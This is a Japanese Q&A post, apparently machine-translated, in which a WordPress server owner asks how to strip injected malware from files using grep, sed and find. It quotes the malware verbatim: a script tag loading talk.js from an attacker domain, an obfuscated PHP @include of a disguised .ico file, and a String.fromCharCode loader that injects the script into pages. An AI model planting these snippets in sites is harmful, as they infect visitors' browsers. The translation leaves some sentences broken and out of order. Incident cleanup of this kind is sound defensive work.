サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
私は使用してgrepでそれを検索しました
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
私はそれをファイル構造全体で置き換えようとしています、sed
そして私は次のコマンドを書きました。
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
index.php
最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。
そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。
@Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?php
ます。
@slyblotyの解決策は簡単で、うまくいきましたが。
影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
-スクリプト行を削除するにはfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-@include
行を削除するにはfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
-コメント行を削除するには
また、'*.html'
ハッカーのスクリプトがすべてのディレクトリに不要なindex.htmlを作成したため、3つすべてのコマンドをに対して再度実行しました。これらのindex.htmlを一括で削除することが正しいアプローチかどうかはわかりませんでした。
今でも、ジャンクファイルとその痕跡を把握する必要があります。
ハッカースクリプトはJSコードも追加しました。
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
私もsed
それができるかどうかを確認しようとしています。
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
この-l
オプションは、ファイル名のみを提供し、一致するテキストは提供しません。
sed -i
ます。たとえば、編集されたすべてのファイルのファイルをsed -i.bak
作成し*.bak
ます。while...grep
ループで使用すると、その文字列を含むファイルのみがバックアップされます。追加のコメントはすべて申し訳ありませんが、私の意見では、マルウェアは「全員参加型」のシナリオです。